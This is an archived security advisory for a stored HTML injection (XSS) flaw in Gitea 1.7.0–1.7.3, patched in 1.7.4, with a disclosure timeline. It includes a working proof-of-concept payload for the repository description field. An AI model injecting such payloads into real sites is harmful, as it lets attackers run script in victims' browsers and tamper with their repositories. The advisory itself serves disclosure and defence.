exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Gitea 1.7.3 HTML Injection

Gitea 1.7.3 HTML Injection
Posted Mar 18, 2019
Authored by Anti Rais

Gitea versions 1.7.0 through 1.7.3 suffer from a stored html injection vulnerability.

tags | exploit
SHA-256 | 253ed51f7af489f1307804b4289f3d88966fed3070de63f9f7e892dd2a22ed63

Gitea 1.7.3 HTML Injection

Change Mirror Download
Gitea 1.7.3 stored HTML injection (XSS)
#######################################

Information
===========

Name: Gitea 1.7.0 - 1.7.3 stored HTML injection
Software: Gitea - a self-hosted Git service
Homepage: https://gitea.io/
Vulnerability: stored HTML injection
Affected: 1.7.0 - 1.7.3
Tested: 1.7.2, 1.7.3
Fixed: 1.7.4
Prerequisites: edit repository settings
Severity: low
CVE: NA

Credit: Anti RA$?is
HTML version: https://bitflipper.eu/

Description
===========

Gitea is a self hosted git repository service, which is affected by stored
HTML injection vulnerability, allowing authenticated user to inject payload
into repository's description field. It is executed, when victim navigates
to malicious repository's code page.

Proof of Concept
================

Attacker needs to create a new public repository and set the description
containing payload.

==================== source start ========================
<img id="xss" src="http://onerror=eval(
document.querySelectorAll('span')[10].innerText)//">
<span>document.querySelector('#xss').parentNode.innerHTML='\x3cmarquee
style=color:red\x3eXSS\x3c/marquee\x3e';alert('XSS')</span>
==================== source end ========================

Code is executed, when victim navigates to malicious repository's code page.
Following HTML snippet demonstrates the issue:

==================== source start ========================
<div id="repo-desc">
<span class="description has-emoji"><img id="xss" src="<a
href="http://onerror=eval(
document.querySelectorAll('span')[10].innerText)//">"
target="_blank" rel="noopener noreferrer">http://onerror=eval(
document.querySelectorAll('span')[10].innerText)//"></a>
<span>
document.querySelector('#xss').parentNode.innerHTML='\x3cmarquee
style=color:red\x3eXSS\x3c/marquee\x3e';alert('XSS')</span>
</span>
<a class="link" href=""></a>
</div>
==================== source end ========================

Impact
======

Authenticated attacker can execute JavaScript in the victim's browser and
possibly use it to change code in victim's repository.

Conclusion
==========

New release was published as a result and vulnerability is patched in Gitea
1.7.4.

References
==========

1) New release announcement
https://blog.gitea.io/2019/03/gitea-1.7.4-is-released/

2) Patch pull request on github
https://github.com/go-gitea/gitea/pull/6306

Timeline
========

28.02.2019 | me | vulnerability discovered
28.02.2019 | me > developer | sent report to the developers; no response
06.03.2019 | me > developer | asked for status update
06.03.2019 | developer > me | answer to status update: they are working
| | on a patch
13.03.2019 | developer > public | patched version released
17.03.2019 | me > public | published vulnerability details

---
Anti RA$?is
Blog: https://bitflipper.eu
Pentester at http://www.clarifiedsecurity.com

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close